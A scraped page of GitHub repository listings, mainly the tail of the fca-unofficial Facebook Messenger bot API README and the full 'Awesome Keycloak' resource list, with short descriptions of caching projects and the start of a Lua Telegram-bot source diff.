`api.setOptions({selfListen: true})`. __Example__ ```js const fs = require("fs"); const login = require("fca-unofficial"); // Simple echo bot. It will repeat everything that you say. // Will stop when you say '/stop' login({appState: JSON.parse(fs.readFileSync('appstate.json', 'utf8'))}, (err, api) => { if(err) return console.error(err); api.setOptions({listenEvents: true}); var stopListening = api.listenMqtt((err, event) => { if(err) return console.error(err); api.markAsRead(event.threadID, (err) => { if(err) console.error(err); }); switch(event.type) { case "message": if(event.body === '/stop') { api.sendMessage("Goodbye…", event.threadID); return stopListening(); } api.sendMessage("TEST BOT: " + event.body, event.threadID); break; case "event": console.log(event); break; } }); }); ``` ## FAQS 1. How do I run tests? > For tests, create a `test-config.json` file that resembles `example-config.json` and put it in the `test` directory. From the root >directory, run `npm test`. 2. Why doesn't `sendMessage` always work when I'm logged in as a page? > Pages can't start conversations with users directly; this is to prevent pages from spamming users. 3. What do I do when `login` doesn't work? > First check that you can login to Facebook using the website. If login approvals are enabled, you might be logging in incorrectly. For how to handle login approvals, read our docs on [`login`](DOCS.md#login). 4. How can I avoid logging in every time? Can I log into a previous session? > We support caching everything relevant for you to bypass login. `api.getAppState()` returns an object that you can save and pass into login as `{appState: mySavedAppState}` instead of the credentials object. If this fails, your session has expired. 5. Do you support sending messages as a page? > Yes, set the pageID option on login (this doesn't work if you set it using api.setOptions, it affects the login process). > ```js > login(credentials, {pageID: "000000000000000"}, (err, api) => { … } > ``` 6. I'm getting some crazy weird syntax error like `SyntaxError: Unexpected token [`!!! > Please try to update your version of node.js before submitting an issue of this nature. We like to use new language features. 7. I don't want all of these logging messages! > You can use `api.setOptions` to silence the logging. You get the `api` object from `login` (see example above). Do > ```js > api.setOptions({ > logLevel: "silent" > }); > ``` <a name="projects-using-this-api"></a> ## Projects using this API: - [c3c](https://github.com/lequanglam/c3c) - A bot that can be customizable using plugins. Support Facebook & Discord. - [Miraiv2](https://github.com/miraiPr0ject/miraiv2) - A simple Facebook Messenger Bot made by CatalizCS and SpermLord. ## Projects using this API (original repository, facebook-chat-api): - [Messer](https://github.com/mjkaufer/Messer) - Command-line messaging for Facebook Messenger - [messen](https://github.com/tomquirk/messen) - Rapidly build Facebook Messenger apps in Node.js - [Concierge](https://github.com/concierge/Concierge) - Concierge is a highly modular, easily extensible general purpose chat bot with a built in package manager - [Marc Zuckerbot](https://github.com/bsansouci/marc-zuckerbot) - Facebook chat bot - [Marc Thuckerbot](https://github.com/bsansouci/lisp-bot) - Programmable lisp bot - [MarkovsInequality](https://github.com/logicx24/MarkovsInequality) - Extensible chat bot adding useful functions to Facebook Messenger - [AllanBot](https://github.com/AllanWang/AllanBot-Public) - Extensive module that combines the facebook api with firebase to create numerous functions; no coding experience is required to implement this. - [Larry Pudding Dog Bot](https://github.com/Larry850806/facebook-chat-bot) - A facebook bot you can easily customize the response - [fbash](https://github.com/avikj/fbash) - Run commands on your computer's terminal over Facebook Messenger - [Klink](https://github.com/KeNt178/klink) - This Chrome extension will 1-click share the link of your active tab over Facebook Messenger - [Botyo](https://github.com/ivkos/botyo) - Modular bot designed for group chat rooms on Facebook - [matrix-puppet-facebook](https://github.com/matrix-hacks/matrix-puppet-facebook) - A facebook bridge for [matrix](https://matrix.org) - [facebot](https://github.com/Weetbix/facebot) - A facebook bridge for Slack. - [Botium](https://github.com/codeforequity-at/botium-core) - The Selenium for Chatbots - [Messenger-CLI](https://github.com/AstroCB/Messenger-CLI) - A command-line interface for sending and receiving messages through Facebook Messenger. - [AssumeZero-Bot](https://github.com/AstroCB/AssumeZero-Bot) – A highly customizable Facebook Messenger bot for group chats. - [Miscord](https://github.com/Bjornskjald/miscord) - An easy-to-use Facebook bridge for Discord. - [chat-bridge](https://github.com/rexx0520/chat-bridge) - A Messenger, Telegram and IRC chat bridge. - [messenger-auto-reply](https://gitlab.com/theSander/messenger-auto-reply) - An auto-reply service for Messenger. - [BotCore](https://github.com/AstroCB/BotCore) – A collection of tools for writing and managing Facebook Messenger bots. - [mnotify](https://github.com/AstroCB/mnotify) – A command-line utility for sending alerts and notifications through Facebook Messenger.
updatezen / PFCloud CacheiOS library for caching Parse cloud function results
BabyJ723 / Blast ON# Awesome Keycloak [](https://github.com/sindresorhus/awesome) # [<img src="https://www.keycloak.org/resources/images/keycloak_logo_480x108.png">](https://github.com/thomasdarimont/awesome-keycloak) > Carefully curated list of awesome Keycloak resources. A curated list of resources for learning about the Open Source Identity and Access Management solution Keycloak. Contains books, websites, blog posts, links to github Repositories. # Contributing Contributions welcome. Add links through pull requests or create an issue to start a discussion. [Please refer to the contributing guide for details](CONTRIBUTING.md). # Contents * [General](#general) * [Documentation](#docs) * [Keycloak Website](http://www.keycloak.org) * [Current Documentation](http://www.keycloak.org/documentation.html) * [Archived Documentation](http://www.keycloak.org/documentation-archive.html) * [Mailing Lists](#mailing-lists) * [User Mailing List](#user-mailing-list) * [Developer Mailing List](#dev-mailing-list) * [Mailing List Search](#mailing-list-search) * [Books](#books) * [Articles](#articles) * [Talks](#talks) * [Presentations](#presentations) * [Video Playlists](#video-playlists) * [Community Extensions](#community-extensions) * [Integrations](#integrations) * [Themes](#themes) * [Docker](#docker) * [Deployment Examples](#deployment-examples) * [Example Projects](#example-projects) * [Benchmarks](#benchmarks) * [Help](#help) * [Commercial Offerings](#commercial-offerings) * [Miscellaneous](#miscellaneous) # General ## Documentation * [Keycloak Website](http://www.keycloak.org/) * [Current Documentation](http://www.keycloak.org/documentation.html) * [Archived Documentation](http://www.keycloak.org/documentation-archive.html) * [Product Documentation for Red Hat Single Sign-On](https://access.redhat.com/documentation/en/red-hat-single-sign-on/) ## Discussion Groups and Mailing Lists * [Keycloak Users Google Group](https://groups.google.com/forum/#!forum/keycloak-user) * [Keycloak Developers Google Group](https://groups.google.com/forum/#!forum/keycloak-dev) * [Keycloak Discourse Group](https://keycloak.discourse.group/) * [Keycloak Developer Chat](https://keycloak.zulipchat.com) * [Inactive - User Mailing List](https://lists.jboss.org/mailman/listinfo/keycloak-user) * [Inactive - Developer Mailing List](https://lists.jboss.org/mailman/listinfo/keycloak-dev) * [Mailing List Search](http://www.keycloak.org/search) * [Keycloak Subreddit](https://www.reddit.com/r/keycloak) ## Books * [Keycloak - Identity and Access Management for Modern Applications](https://www.packtpub.com/product/keycloak-identity-and-access-management-for-modern-applications/9781800562493) ## Articles * [How to get Keycloak working with Docker](https://www.ivonet.nl/2015/05/23/Keycloak-Docker/) * [Single-Sign-On for Microservices and/or Java EE applications with Keycloak SSO](http://www.n-k.de/2016/06/keycloak-sso-for-microservices.html) * [Keycloak Admin Client(s) - multiple ways to manage your SSO system](http://www.n-k.de/2016/08/keycloak-admin-client.html) * [How to get the AccessToken of Keycloak in Spring Boot and/or Java EE](http://www.n-k.de/2016/05/how-to-get-accesstoken-from-keycloak-springboot-javaee.html) * [JWT authentication with Vert.x, Keycloak and Angular 2](http://paulbakker.io/java/jwt-keycloak-angular2/) * [Authenticating via Kerberos with Keycloak and Windows 2008 Active Directory](http://matthewcasperson.blogspot.de/2015/07/authenticating-via-kerberos-with.html) * [Deploying Keycloak with Ansible](https://adam.younglogic.com/2016/01/deploying-keycloak-via-ansible/) * [Easily secure your Spring Boot applications with Keycloak](https://developers.redhat.com/blog/2017/05/25/easily-secure-your-spring-boot-applications-with-keycloak/) * [How Red Hat re-designed its Single Sign On (SSO) architecture, and why](https://developers.redhat.com/blog/2016/10/04/how-red-hat-re-designed-its-single-sign-on-sso-architecture-and-why/) * [OAuth2, JWT, Open-ID Connect and other confusing things](http://giallone.blogspot.de/2017/06/oath2.html) * [X509 Authentication with Keycloak and JBoss Fuse](https://sjhiggs.github.io/fuse/sso/x509/smartcard/2017/03/29/fuse-hawtio-keycloak.html) * [Running Keycloak on OpenShift 3](https://medium.com/@sbose78/running-keycloak-on-openshift-3-8d195c0daaf6) * [Introducing Keycloak for Identity and Access Management](https://www.thomasvitale.com/introducing-keycloak-identity-access-management/) * [Keycloak Basic Configuration for Authentication and Authorisation](https://www.thomasvitale.com/keycloak-configuration-authentication-authorisation/) * [Keycloak on OpenShift Origin](https://medium.com/@james_devcomb/keycloak-on-openshift-origin-ee81d01dac97) * [Identity Management, One-Time-Passwords and Two-Factor-Auth with Spring Boot and Keycloak](http://www.hascode.com/2017/11/identity-management-one-time-passwords-and-two-factor-auth-with-spring-boot-and-keycloak/) * [Keycloak Identity Brokering with Openshift](https://developers.redhat.com/blog/2017/12/06/keycloak-identity-brokering-openshift/) * [OpenID Connect Identity Brokering with Red Hat Single Sign-On](https://developers.redhat.com/blog/2017/10/18/openid-connect-identity-brokering-red-hat-single-sign/) * [Authentication & user management is hard](https://eclipsesource.com/blogs/2018/01/11/authenticating-reverse-proxy-with-keycloak/) * [Securing Nginx with Keycloak](https://edhull.co.uk/blog/2018-06-06/keycloak-nginx) * [Secure kibana dashboards using keycloak](https://aboullaite.me/secure-kibana-keycloak/) * [Configuring NGINX for OAuth/OpenID Connect SSO with Keycloak/Red Hat SSO](https://developers.redhat.com/blog/2018/10/08/configuring-nginx-keycloak-oauth-oidc/) * [Keycloak Clustering Setup and Configuration Examples](https://github.com/fit2anything/keycloak-cluster-setup-and-configuration) * [MicroProfile JWT with Keycloak](https://kodnito.com/posts/microprofile-jwt-with-keycloak/) * [Keycloak Essentials](https://medium.com/keycloak/keycloak-essentials-86254b2f1872) * [SSO-session failover with Keycloak and AWS S3](https://medium.com/@georgijsr/sso-session-failover-with-keycloak-and-aws-s3-e0b1db985e12) * [KTOR and Keycloak: authentication with OpenId](https://medium.com/slickteam/ktor-and-keycloak-authentication-with-openid-ecd415d7a62e) * [Keycloak: Core concepts of open source identity and access management](https://developers.redhat.com/blog/2019/12/11/keycloak-core-concepts-of-open-source-identity-and-access-management) * [Who am I? Keycloak Impersonation API](https://blog.softwaremill.com/who-am-i-keycloak-impersonation-api-bfe7acaf051a) * [Setup Keycloak Server on Ubuntu 18.04](https://medium.com/@hasnat.saeed/setup-keycloak-server-on-ubuntu-18-04-ed8c7c79a2d9) * [Getting started with Keycloak](https://robferguson.org/blog/2019/12/24/getting-started-with-keycloak/) * [Angular, OpenID Connect and Keycloak](https://robferguson.org/blog/2019/12/29/angular-openid-connect-keycloak/) * [Angular, OAuth 2.0 Scopes and Keycloak](https://robferguson.org/blog/2019/12/31/angular-oauth2-keycloak/) * [Keycloak, Flowable and OpenLDAP](https://robferguson.org/blog/2020/01/03/keycloak-flowable-and-openldap/) * [How to exchange token from an external provider to a keycloak token](https://www.mathieupassenaud.fr/token-exchange-keycloak/) * [Building an Event Listener SPI (Plugin) for Keycloak](https://dev.to/adwaitthattey/building-an-event-listener-spi-plugin-for-keycloak-2044) * [Keycloak user migration – connect your legacy authentication system to Keycloak](https://codesoapbox.dev/keycloak-user-migration/) * [Keycloak Authentication and Authorization in GraphQL](https://medium.com/@darahayes/keycloak-authentication-and-authorization-in-graphql-ad0a1685f7da) * [Kong / Konga / Keycloak: securing API through OIDC](https://github.com/d4rkstar/kong-konga-keycloak) * [KeyCloak: Custom Login theme](https://codehumsafar.wordpress.com/2018/09/11/keycloak-custom-login-theme/) * [Keycloak: Use background color instead of background image in Custom Login theme](https://codehumsafar.wordpress.com/2018/09/21/keycloak-use-background-color-instead-of-background-image-in-custom-login-theme/) * [How to turn off the Keycloak theme cache](https://keycloakthemes.com/blog/how-to-turn-off-the-keycloak-theme-cache) * [How to add a custom field to the Keycloak registration page](https://keycloakthemes.com/blog/how-to-add-custom-field-keycloak-registration-page) * [How to setup Sign in with Google using Keycloak](https://keycloakthemes.com/blog/how-to-setup-sign-in-with-google-using-keycloak) * [How to sign in users on Keycloak using Github](https://keycloakthemes.com/blog/how-to-sign-in-users-on-keycloak-using-github) * [Extending Keycloak SSO Capabilities with IBM Security Verify](https://community.ibm.com/community/user/security/blogs/jason-choi1/2020/06/10/extending-keycloak-sso-capabilities-with-ibm-secur) * [AWS SAML based User Federation using Keycloak](https://medium.com/@karanbir.tech/aws-connect-saml-based-identity-provider-using-keycloak-9b3e6d0111e6) * [AWS user account OpenID federation using Keycloak](https://medium.com/@karanbir.tech/aws-account-openid-federation-using-keycloak-40d22b952a43) * [How to Run Keycloak in HA on Kubernetes](https://blog.sighup.io/keycloak-ha-on-kubernetes/) * [How to create a Keycloak authenticator as a microservice?](https://medium.com/application-security/how-to-create-a-keycloak-authenticator-as-a-microservice-ad332e287b58) * [keycloak.ch | Installing & Running Keycloak](https://keycloak.ch/keycloak-tutorials/tutorial-1-installing-and-running-keycloak/) * [keycloak.ch | Configuring Token Exchange using the CLI](https://keycloak.ch/keycloak-tutorials/tutorial-token-exchange/) * [keycloak.ch | Configuring WebAuthn](https://keycloak.ch/keycloak-tutorials/tutorial-webauthn/) * [keycloak.ch | Configuring a SwissID integration](https://keycloak.ch/keycloak-tutorials/tutorial-swissid/) * [Getting Started with Service Accounts in Keycloak](https://medium.com/@mihirrajdixit/getting-started-with-service-accounts-in-keycloak-c8f6798a0675) * [Building cloud native apps: Identity and Access Management](https://dev.to/lukaszbudnik/building-cloud-native-apps-identity-and-access-management-1e5m) * [X.509 user certificate authentication with Red Hat’s single sign-on technology](https://developers.redhat.com/blog/2021/02/19/x-509-user-certificate-authentication-with-red-hats-single-sign-on-technology) * [Grafana OAuth with Keycloak and how to validate a JWT token](https://janikvonrotz.ch/2020/08/27/grafana-oauth-with-keycloak-and-how-to-validate-a-jwt-token/) * [How to setup a Keycloak server with external MySQL database on AWS ECS Fargate in clustered mode](https://jbjerksetmyr.medium.com/how-to-setup-a-keycloak-server-with-external-mysql-database-on-aws-ecs-fargate-in-clustered-mode-9775d01cd317) * [Extending Keycloak: adding API key authentication](http://www.zakariaamine.com/2019-06-14/extending-keycloak) * [Extending Keycloak: using a custom email sender](http://www.zakariaamine.com/2019-07-14/extending-keycloak2) * [Integrating Keycloak and OPA with Confluent](https://goraft.tech/2021/03/17/integrating-keycloak-and-opa-with-confluent.html) * [UMA 2.0 : User Managed Access - how to use it with bash](https://blog.please-open.it/uma/) ## Talks * [JDD2015 - Keycloak Open Source Identity and Access Management Solution](https://www.youtube.com/watch?v=TuEkj25lbd0) * [2015 Using Tomcat and Keycloak in an iFrame](https://www.youtube.com/watch?v=nF_lw7uIxao) * [2016 You've Got Microservices Now Secure Them](https://www.youtube.com/watch?v=SfVhqf-rMQY) * [2016 Keycloak: Open Source Single Sign On - Sebastian Rose - AOE conf (german)](https://www.youtube.com/watch?v=wbKw0Bwyne4) * [2016 Sécuriser ses applications back et front facilement avec Keycloak (french)](https://www.youtube.com/watch?v=bVidgluUcg0) * [2016 Keycloak and Red Hat Mobile Application Platform](https://www.youtube.com/watch?v=4NBgiHM5aOA) * [2016 Easily secure your Front and back applications with KeyCloak](https://www.youtube.com/watch?v=RGp4HUKikts) * [2017 Easily secure your Spring Boot applications with Keycloak - Part 1](https://developers.redhat.com/video/youtube/vpgRTPFDHAw/) * [2017 Easily secure your Spring Boot applications with Keycloak - Part 2](https://developers.redhat.com/video/youtube/O5ePCWON08Y/) * [2018 How to secure your Spring Apps with Keycloak by Thomas Darimont @ Spring I/O 2018](https://www.youtube.com/watch?v=haHFoeWUj0w) * [2018 DevNation Live | A Deep Dive into Keycloak](https://www.youtube.com/watch?v=ZxpY_zZ52kU) * [2018 IDM Europe: WSO2 Identity Server vs. Keycloak (Dmitry Kann)](https://www.youtube.com/watch?v=hnjBiGsEDoU) * [2018 JPrime|Building an effective identity and access management architecture with Keycloak (Sebastien Blanc)](https://www.youtube.com/watch?v=bMqcGkCvUVQ) * [2018 WJAX| Sichere Spring-Anwendungen mit Keycloak](https://www.youtube.com/watch?v=6Z490EMcafs) * [2019 Spring I/O | Secure your Spring Apps with Keycloak](https://www.youtube.com/watch?v=KrOd5wIkqls) * [2019 DevoxxFR | Maitriser sa gestion de l'identité avec Keycloak (L. Benoit, T. Recloux, S. Blanc)](https://www.youtube.com/watch?v=0cziL__0-K8) * [2019 DevConf | Fine - Grained Authorization with Keycloak SSO (Marek Posolda)](https://www.youtube.com/watch?v=yosg4St0iUw) * [2019 VoxxedDays Minsk | Bilding an effective identity and access management architecture with Keycloak (Sebastien Blanc)](https://www.youtube.com/watch?v=RupQWmYhrLA) * [2019 Single-Sign-On Authentifizierung mit dem Keycloak Identity Provider | jambit CoffeeTalk](https://www.youtube.com/watch?v=dnY6ORaFNY8) * [2020 Keycloak Team | Keycloak Pitch](https://www.youtube.com/watch?v=GZTN_VXjoQw) * [2020 Keycloak Team | Keycloak Overview](https://www.youtube.com/watch?v=duawSV69LDI) * [2020 Please-open.it : oauth2 dans le monde des ops (french)](https://www.youtube.com/watch?v=S-9X50QajmY) ## Presentations * [Keycloak 101](https://stevenolen.github.io/kc101-talk/#1) ## Video Playlists * [Keycloak Identity and Access Management by Łukasz Budnik](https://www.youtube.com/playlist?list=PLPZal7ksxNs0mgScrJxrggEayV-TPZ9sA) * [Keycloak by Niko Köbler](https://www.youtube.com/playlist?list=PLNn3plN7ZiaowUvKzKiJjYfWpp86u98iY) * [Keycloak Playlist by hexaDefence](https://youtu.be/35bflT_zxXA) * [Keycloak Tutorial Series by CodeLens](https://www.youtube.com/watch?v=Lr9WeIMtFow&list=PLeGNmkzI56BTjRxNGxUhh4k30FD_gy0pC) ## Clients * [Official Keycloak Node.js Admin Client](https://github.com/keycloak/keycloak-admin-client/) ("Extremely Experimental") * [Keycloak Node.js TypeScript Admin Client by Canner](https://github.com/Canner/keycloak-admin/) * [Keycloak Go Client by Cloudtrust](https://github.com/cloudtrust/keycloak-client) * [Keycloak Nest.js Admin Client by Relevant Fruit](https://github.com/relevantfruit/nestjs-keycloak-admin) ## Community Extensions * [Keycloak Extensions List](https://www.keycloak.org/extensions.html) * [Keycloak Benchmark Project](https://github.com/keycloak/keycloak-benchmark) * [Keycloak: Link IdP Login with User Provider](https://github.com/ohioit/keycloak-link-idp-with-user) * [Client Owner Manager: Control who can edit a client](https://github.com/cyclone-project/cyclone-client-registration) * [Keyloak Proxy written in Go](https://github.com/gambol99/keycloak-proxy) * [Script based ProtocolMapper extension for SAML](https://github.com/cloudtrust/keycloak-client-mappers) * [Realm export REST resource by Cloudtrust](https://github.com/cloudtrust/keycloak-export) * [Keycloak JDBC Ping Setup by moremagic](https://github.com/moremagic/keycloak-jdbc-ping) * [SMS 2 Factor Authentication for Keycloak via AWS SNS](https://github.com/nickpack/keycloak-sms-authenticator-sns) * [SMS 2 Factor Authentiation for Keycloak via SMS by Alliander](https://github.com/Alliander/keycloak-sms-authenticator) * [Identity Provider for vk.com](https://github.com/mrk08/keycloak-vk) * [CAS Protocol Support](https://github.com/Doccrazy/keycloak-protocol-cas) * [WS-FED Support](https://github.com/cloudtrust/keycloak-wsfed) * [Keycloak Discord Support](https://github.com/wadahiro/keycloak-discord) * [Keycloak Login with User Attribute](https://github.com/cnieg/keycloak-login-attribute) * [zonaut/keycloak-extensions](https://github.com/zonaut/keycloak-extensions) * [leroyguillaume/keycloak-bcrypt](https://github.com/leroyguillaume/keycloak-bcrypt) * [SPI Authenticator in Nodejs](https://www.npmjs.com/package/keycloak-rest-authenticator) * [Have I Been Pwned? Keycloak Password Policy](https://github.com/alexashley/keycloak-password-policy-have-i-been-pwned) * [Keycloak Eventlistener for Google Cloud Pub Sub](https://github.com/acesso-io/keycloak-event-listener-gcpubsub) * [Enforcing Password policy based on attributes of User Groups](https://github.com/sayedcsekuet/keycloak-user-group-based-password-policy) * [Verify Email with Link or Code by hokumski](https://github.com/hokumski/keycloak-verifyemailwithcode) * [Role-based Docker registry authentication](https://github.com/lifs-tools/keycloak-docker-role-mapper) * [SCIM for keycloak](https://github.com/Captain-P-Goldfish/scim-for-keycloak) * [Keycloak Kafka Module](https://github.com/SnuK87/keycloak-kafka) ## Integrations * [Official Keycloak Node.js Connect Adapter](https://github.com/keycloak/keycloak-nodejs-connect) * [Keycloak support for Aurelia](https://github.com/waynepennington/aurelia-keycloak) * [Keycloak OAuth2 Auth for PHP](https://github.com/stevenmaguire/oauth2-keycloak) * [Jenkins Keycloak Authentication Plugin](https://github.com/jenkinsci/keycloak-plugin) * [Meteor Keycloak Accounts](https://github.com/mxab/meteor-keycloak) * [HapiJS Keycloak Auth](https://github.com/felixheck/hapi-auth-keycloak) * [zmartzone mod_auth_openidc for Apache 2.x](https://github.com/zmartzone/mod_auth_openidc) * [Duo Security MFA Authentication for Keycloak](https://github.com/mulesoft-labs/keycloak-duo-spi) * [Extension Keycloak facilitant l'utilisation de FranceConnect](https://github.com/InseeFr/Keycloak-FranceConnect) * [Ambassador Keycloak Support](https://www.getambassador.io/reference/idp-support/keycloak/) * [Keycloak Python Client](https://github.com/akhilputhiry/keycloak-client) * [Keycloak Terraform Provider](https://github.com/mrparkers/terraform-provider-keycloak) * [Keycloak ADFS OpenID Connect](https://www.michaelboeynaems.com/keycloak-ADFS-OIDC.html) * [React/NextJS Keycloak Bindings](https://github.com/panz3r/react-keycloak) * [Keycloak Open-Shift integration](https://github.com/keycloak/openshift-integration) * [Keycloak, Kong and Konga setup scripts (local development)](https://github.com/JaouherK/Kong-konga-Keycloak) * [SSO for Keycloak and Nextcloud with SAML](https://stackoverflow.com/questions/48400812/sso-with-saml-keycloak-and-nextcloud) * [Keycloak Connect GraphQL Adapter for Node.js](https://github.com/aerogear/keycloak-connect-graphql) * [python-keycloak](https://github.com/marcospereirampj/python-keycloak) * [Keycloak and PrivacyId3a docker-compose (local development)](https://github.com/JaouherK/keycloak-privacyIdea) * [Nerzal/gocloak Golang Keycloak API Package](https://github.com/Nerzal/gocloak) * [Apple Social Identity Provider for Keycloak](https://github.com/BenjaminFavre/keycloak-apple-social-identity-provider) ## Quick demo Videos * [Keycloak with istio envoy jwt-auth proxy](https://www.youtube.com/watch?v=wscX7JMfuBI) ## Themes * [Community Keycloak Ionic Theme](https://github.com/lfryc/keycloak-ionic-theme) * [A Keycloak theme based on the AdminLTE UI library](https://github.com/MAXIMUS-DeltaWare/adminlte-keycloak-theme) * [GOV.UK Theme](https://github.com/UKHomeOffice/keycloak-theme-govuk) * [Carbon Design](https://github.com/httpsOmkar/carbon-keycloak-theme) * [Modern](https://keycloakthemes.com/themes/modern) * [Adminlte](https://git.uptic.nl/uptic-public-projects/uptic-keyclock-theme-adminlte) * [keycloakify: Create Keycloak themes using React](https://github.com/InseeFrLab/keycloakify) ## Docker * [Official Keycloak Docker Images](https://github.com/jboss-dockerfiles/keycloak) * [Keycloak Examples as Docker Image](https://hub.docker.com/r/jboss/keycloak-examples) * [Keycloak Maven SDK for managing the entire lifecycle of your extensions with Docker](https://github.com/OpenPj/keycloak-docker-quickstart) ## Kubernetes * [Deprecated Keycloak Helm Chart](https://github.com/codecentric/helm-charts/tree/master/charts/keycloak) * [codecentric Keycloak Helm Chart](https://github.com/codecentric/helm-charts/tree/master/charts/keycloak) * [Import / Export Keycloak Config](https://gist.github.com/unguiculus/19618ef57b1863145262191944565c9d) * [keycloak-operator](https://github.com/keycloak/keycloak-operator) ## Tools * [keycloakmigration: Manage your Keycloak configuration with code](https://github.com/klg71/keycloakmigration) * [tool to autogenerate an OpenAPI Specification for Keycloak's Admin API](https://github.com/ccouzens/keycloak-openapi) * [oidc-bash-client](https://github.com/please-openit/oidc-bash-client) * [louketo-proxy (FKA Gatekeeper)](https://github.com/louketo/louketo-proxy) * [keycloak-config-cli: Configuration as Code for Keycloak](https://github.com/adorsys/keycloak-config-cli) * [Keycloak Pulumi](https://github.com/pulumi/pulumi-keycloak) * [Keycloak on AWS](https://github.com/aws-samples/keycloak-on-aws) * [aws-cdk construct library that allows you to create KeyCloak on AWS in TypeScript or Python](https://github.com/aws-samples/cdk-keycloak) * [keycloak-scanner Python CLI](https://github.com/NeuronAddict/keycloak-scanner) ## Deployment Examples * [Keycloak deployment with CDK on AWS with Fargate](https://github.com/aws-samples/cdk-keycloak) ## Example Projects * [Examples from Keycloak Book: Keycloak - Identity and Access Management for Modern Applications](https://github.com/PacktPublishing/Keycloak-Identity-and-Access-Management-for-Modern-Applications) * [Official Examples](https://github.com/keycloak/keycloak/tree/master/examples) * [Keycloak Quickstarts](https://github.com/keycloak/keycloak-quickstarts) * [Drupal 7.0 with Keycloak](https://gist.github.com/thomasdarimont/17fa146c4fb5440d7fc2ee6322ec392d) * [Securing Realm Resources With Custom Roles](https://github.com/dteleguin/custom-admin-roles) * [BeerCloak: a comprehensive KeyCloak extension example](https://github.com/dteleguin/beercloak) * [KeyCloak Extensions: Securing Realm Resources With Custom Roles](https://github.com/dteleguin/custom-admin-roles) * [Red Hat Single Sign-On Labs](https://github.com/RedHatWorkshops/red-hat-sso) * [Spring Boot Keycloak Tutorial](https://github.com/sebastienblanc/spring-boot-keycloak-tutorial) * [Custom Keycloak Docker Image of Computer Science House of RIT](https://github.com/ComputerScienceHouse/keycloak-docker) * [Example of custom password hash SPI for Keycloak](https://github.com/pavelbogomolenko/keycloak-custom-password-hash) * [Example for a custom http-client-provider with Proxy support](https://github.com/xiaoyvr/custom-http-client-provider) * [Monitor your keycloak with prometheus](https://github.com/larscheid-schmitzhermes/keycloak-monitoring-prometheus) * [Custom User Storage Provider .ear with jboss-cli setup](https://github.com/thomasdarimont/keycloak-user-storage-provider-demo) * [Keycloak - Experimental extensions by Stian Thorgersen/Keycloak](https://github.com/stianst/keycloak-experimental) * [Securing Spring Boot Admin & Actuator Endpoints with Keycloak](https://github.com/thomasdarimont/spring-boot-admin-keycloak-example) * [A Keycloak Mobile Implementation using Angular v4 and Ionic v3](https://github.com/tomjackman/keyonic-v2) * [Example for Securing Apps with Keycloak on Kubernetes](https://github.com/stianst/demo-kubernetes) * [Example for Securing AspDotNet Core Apps with Keycloak](https://github.com/thomasdarimont/kc-dnc-demo) * [Example for passing custom URL parameters to a Keycloak theme for dynamic branding](https://github.com/dteleguin/keycloak-dynamic-branding) * [Angular Webapp secured with Keycloak](https://github.com/CodepediaOrg/bookmarks.dev) * [Keycloak Theme Development Kit](https://github.com/anthonny/kit-keycloak-theme) * [Keycloak Clustering examples](https://github.com/ivangfr/keycloak-clustered) * [Keycloak Last Login Date Event Listener](https://github.com/ThoreKr/keycloak-last-login-event-listener) * [Keycloak Project Example (Customizations, Extensions, Configuration)](https://github.com/thomasdarimont/keycloak-project-example) * [Example of adding API Key authentication to Keycloak](https://github.com/zak905/keycloak-api-key-demo) ## Benchmarks * [Gatling based Benchmark by @rvansa](https://github.com/rvansa/keycloak-benchmark) ## Help * [Keycloak on Stackoverflow](https://stackoverflow.com/questions/tagged/keycloak) ## Commercial Offerings * [Red Hat Single Sign-On](https://access.redhat.com/products/red-hat-single-sign-on) * [INTEGSOFT UNIFIED USER CREDENTIALS WITH KEYCLOAK SSO](https://www.integsoft.cz/en/sso.html#what-is-sso) * [JIRA SSO Plugin by codecentric](https://marketplace.atlassian.com/plugins/de.codecentric.atlassian.oidc.jira-oidc-plugin/server/overview) * [Keycloak Competence Center by Inventage AG](https://keycloak.ch/) * [Keycloak as a Service](https://www.cloud-iam.com) ## Miscellaneous * [Find sites using Keycloak with google](https://www.google.de/search?q=inurl%3Aauth+inurl%3Arealms+inurl%3Aprotocol&oq=inurl%3A&client=ubuntu&sourceid=chrome&ie=UTF-8) * [Keycloak Dev Bookmarks](http://bookmarks.dev/search?q=keycloak) - Use the tag [keycloak](https://www.bookmarks.dev/tagged/keycloak) * [Use fail2ban to block brute-force attacks to keycloak server](https://gist.github.com/drmalex07/3eba8b98d0ac4a1e821e8e721b3e1816) * [Pentest-Report Keycloak 8.0 Audit & Pentest 11.2019 by Cure53](https://cure53.de/pentest-report_keycloak.pdf) * [Keycloak - CNCF Security SIG - Self Assesment](https://docs.google.com/document/d/14IIGliP3BWjdS-0wfOk3l_1AU8kyoSiLUzpPImsz4R0/edit#) # License [](https://creativecommons.org/publicdomain/zero/1.0/) To the extent possible under law, [Thomas Darimont](https://github.com/thomasdarimont) has waived all copyright and related or neighboring rights to this work.
patrick-kw-chiu / Cache CloudFast serverless caching via HTTP endpoints, built on Cloudflare Workers, KV and Hono
kelseyhightower / GcscacheGCS Cache implements the autocet.Cache interface using Google Cloud Storage.
sethvargo / Gcs CacherUtility for saving and restoring caches backed by Google Cloud Storage.
zzrcxb / LLCFeasibleOpen-source release of "Last-Level Cache Side-Channel Attacks Are Feasible in the Modern Public Cloud" (ASPLOS '24)
arashstar1 / Bot LuaCode Issues 0 Pull requests 0 Pulse MaTaDoR/ 3233fdf V 5.7 MaTaDoR @MaTaDoRTeaMMaTaDoRTeaM committed on GitHub about 1 month ago 2 changed files 2,704 additions and 0 deletions cli/tg/tdcli.lua @@ -0,0 +1,2704 @@ +--[[ + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + MA 02110-1301, USA. + +]]-- + +-- Vector example form is like this: {[0] = v} or {v1, v2, v3, [0] = v} +-- If false or true crashed your telegram-cli, try to change true to 1 and false to 0 + +-- Main Bot Framework +local M = {} + +-- @chat_id = user, group, channel, and broadcast +-- @group_id = normal group +-- @channel_id = channel and broadcast +local function getChatId(chat_id) + local chat = {} + local chat_id = tostring(chat_id) + + if chat_id:match('^-100') then + local channel_id = chat_id:gsub('-100', '') + chat = {ID = channel_id, type = 'channel'} + else + local group_id = chat_id:gsub('-', '') + chat = {ID = group_id, type = 'group'} + end + + return chat +end + +local function getInputFile(file) + if file:match('/') then + infile = {ID = "InputFileLocal", path_ = file} + elseif 